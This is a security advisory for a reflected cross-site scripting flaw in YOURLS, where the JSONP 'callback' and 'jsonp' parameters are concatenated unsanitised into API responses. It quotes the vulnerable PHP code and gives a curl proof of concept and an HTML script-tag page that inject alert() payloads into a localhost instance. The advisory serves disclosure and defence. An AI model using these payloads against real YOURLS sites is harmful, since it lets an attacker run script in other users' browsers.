PT-2025-62941 · Packagist · Yourls/Yourls

Published

2025-12-30

·

Updated

2025-12-30

CVSS v3.1

7.1

High

VectorAV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Summary

The callback and jsonp request parameters are directly concatenated into the response without any sanitization that allowing attackers to inject arbitrary JS code. When YOURLS PRIVATE is set to false (public API mode), this vulnerability can be exploited by any unauthenticated attacker. In private mode, the XSS payload is still injected into the 403 response body though browser execution is blocked.

Details

Vulnerability exists in the JSONP callback handling chain:
yourls-api.php:127-128

if( isset( $ REQUEST['callback'] ) )
  $return['callback'] = $ REQUEST['callback'];
elseif ( isset( $ REQUEST['jsonp'] ) )
  $return['callback'] = $ REQUEST['jsonp']; 

includes/functions-api.php:127-128

$callback = isset( $output['callback'] ) ? $output['callback'] : '';
$result = $callback . '(' . json encode( $output ) . ')';

PoC

I. YOURLS instance with YOURLS PRIVATE set to false in config.php or user authenticated to a private YOURLS instance.
II. curl "http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert(document.domain)//" Expected response: alert(document.domain)//({"version":"1.10.2","callback":"alert(document.domain)//"})
Browser PoC file:
<!DOCTYPE html>
<html>
<head><title>pwn</title></head>
<body>
<h1>pwn</h1>
<script src="http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert('pwn');//"></script>
</body>
</html>

Impact

Public Mode (YOURLS PRIVATE=false): Full exploitation, any unauthenticated user can trigger XSS. Private Mode (YOURLS PRIVATE=true): XSS payload is injected into 403 response body but browser blocks script execution. However, authenticated users or admins accessing malicious links are still vulnerable.

Fix

XSS

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-6MP4-Q625-MXJP

Affected Products

Yourls/Yourls